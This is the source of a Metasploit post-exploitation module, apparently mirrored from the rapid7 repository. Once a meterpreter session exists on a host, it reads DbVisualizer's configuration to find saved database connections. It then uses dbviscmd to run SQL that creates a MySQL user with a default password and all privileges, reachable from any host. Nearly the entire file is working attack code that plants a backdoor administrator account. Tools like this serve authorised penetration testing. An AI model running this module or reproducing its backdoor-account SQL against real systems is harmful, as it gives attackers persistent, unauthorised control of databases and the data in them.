Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/manage/dbvis_add_db_admin.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Unix
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Multi Manage DbVisualizer Add Db Admin',
15
'Description' => %q{
16
Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases
17
(With GUI). The remote database can be accessed from the command line without the need
18
to authenticate, which can be abused to create an administrator in the database with the
19
proper database permissions. Note: This module currently only supports MySQL.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
23
'References' => [
24
['URL', 'http://youtu.be/0LCLRVHX1vA']
25
],
26
'Platform' => %w[linux win],
27
'SessionTypes' => [ 'meterpreter' ],
28
'Compat' => {
29
'Meterpreter' => {
30
'Commands' => %w[
31
stdapi_fs_stat
32
stdapi_sys_config_getenv
33
]
34
}
35
},
36
'Notes' => {
37
'Stability' => [CRASH_SAFE],
38
'SideEffects' => [CONFIG_CHANGES],
39
'Reliability' => []
40
}
41
)
42
)
43
44
register_options(
45
[
46
OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),
47
OptString.new('DBUSERNAME', [true, 'The user you want to add to the remote database', 'msf']),
48
OptString.new('DBPASSWORD', [true, 'User password to set', 'msfRocks'])
49
]
50
)
51
end
52
53
def run
54
db_type = exist_and_supported
55
56
return if db_type.blank?
57
58
sql = get_sql(db_type)
59
60
if sql.blank?
61
print_error("Could not generate SQL. Unsupported database type: #{db_type}")
62
return
63
end
64
65
dbvis = find_dbviscmd
66
67
return if dbvis.blank?
68
69
unless dbvis_query(dbvis, sql)
70
print_error('No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ')
71
return
72
end
73
74
print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}")
75
end
76
77
# Check if the alias exist and if database is supported by this script
78
def exist_and_supported
79
case session.platform
80
when 'linux'
81
user = session.shell_command('whoami')
82
print_status("Current user is #{user}")
83
if (user =~ /root/)
84
user_base = '/root/'
85
else
86
user_base = "/home/#{user}/"
87
end
88
dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"
89
when 'windows'
90
user_profile = session.sys.config.getenv('USERPROFILE')
91
dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"
92
end
93
94
unless file?(dbvis_file)
95
# File not found, we next try with the old config path
96
print_status("File not found: #{dbvis_file}")
97
print_status('This could be an older version of dbvis, trying old path')
98
99
case session.platform
100
when 'linux'
101
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
102
when 'windows'
103
dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"
104
end
105
unless file?(dbvis_file)
106
print_error("File not found: #{dbvis_file}")
107
return
108
end
109
end
110
111
print_status("Reading : #{dbvis_file}")
112
raw_xml = ''
113
begin
114
raw_xml = read_file(dbvis_file)
115
rescue EOFError => e
116
vprint_error(e.message)
117
end
118
119
if raw_xml.blank?
120
print_error("Nothing read from file: #{dbvis_file}, file may be empty")
121
return
122
end
123
124
db_found = false
125
alias_found = false
126
db_type = nil
127
db_type_ok = false
128
129
# fetch config file
130
raw_xml.each_line do |line|
131
if line =~ /<Database id=/
132
db_found = true
133
elsif line =~ %r{</Database>}
134
db_found = false
135
end
136
137
next unless db_found == true
138
139
# checkthe alias
140
if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))
141
alias_found = true
142
print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")
143
end
144
145
if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found
146
print_good("Username for this connection : #{::Regexp.last_match(1)}")
147
end
148
149
# check the type
150
next unless (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found
151
152
db_type = ::Regexp.last_match(1)
153
db_type_ok = check_db_type(db_type)
154
if db_type_ok
155
print_good("Database #{db_type} is supported ")
156
else
157
print_error("Database #{db_type} is not supported (yet)")
158
db_type = nil
159
end
160
alias_found = false
161
end
162
163
if db_type.blank?
164
print_error('Database alias not found in dbvis.xml')
165
end
166
167
return db_type # That is empty if DB is not supported
168
end
169
170
# Find path to dbviscmd.sh|bat
171
def find_dbviscmd
172
case session.platform
173
when 'linux'
174
dbvis = session.shell_command('locate dbviscmd.sh').chomp
175
if dbvis.blank?
176
print_error('dbviscmd.sh not found')
177
return nil
178
end
179
print_good("Dbviscmd found : #{dbvis}")
180
when 'windows'
181
# Find program files
182
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
183
progfiles_x86 = progfiles_env['ProgramFiles(X86)']
184
if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)
185
program_files = progfiles_x86 # x64
186
else
187
program_files = progfiles_env['ProgramFiles'] # x86
188
end
189
dirs = []
190
session.fs.dir.foreach(program_files) do |d|
191
dirs << d
192
end
193
dbvis_home_dir = nil
194
# Browse program content to find a possible dbvis home
195
dirs.each do |d|
196
if (d =~ /DbVisualizer[\S+\s+]+/i)
197
dbvis_home_dir = d
198
end
199
end
200
if dbvis_home_dir.blank?
201
print_error('Dbvis home not found, maybe uninstalled ?')
202
return nil
203
end
204
dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"
205
unless file?(dbvis)
206
print_error('dbviscmd.bat not found')
207
return nil
208
end
209
print_good("Dbviscmd found : #{dbvis}")
210
end
211
return dbvis
212
end
213
214
# Query execution method
215
def dbvis_query(dbvis, sql)
216
unless file?(dbvis)
217
print_error("#{dbvis} is not a file")
218
return false
219
end
220
221
f = session.fs.file.stat(dbvis)
222
if (f.uid == Process.euid) || Process.groups.include?(f.gid)
223
print_status('Trying to execute evil sql, it can take time ...')
224
args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""
225
dbvis = "\"#{dbvis}\""
226
cmd = "#{dbvis} #{args}"
227
resp = cmd_exec(cmd)
228
vprint_line
229
vprint_status(resp.to_s)
230
if resp =~ /denied|failed/i
231
return false
232
end
233
else
234
print_error("User doesn't have enough rights to execute dbviscmd, aborting")
235
return false
236
end
237
238
true
239
end
240
241
# Database dependent part
242
243
# Check if db type is supported by this script
244
def check_db_type(type)
245
return type.to_s =~ /mysql/i
246
end
247
248
# Build proper sql
249
def get_sql(db_type)
250
return unless db_type =~ /mysql/i
251
252
sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
253
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;"
254
sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';"
255
sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;"
256
257
sql
258
end
259
end
260
261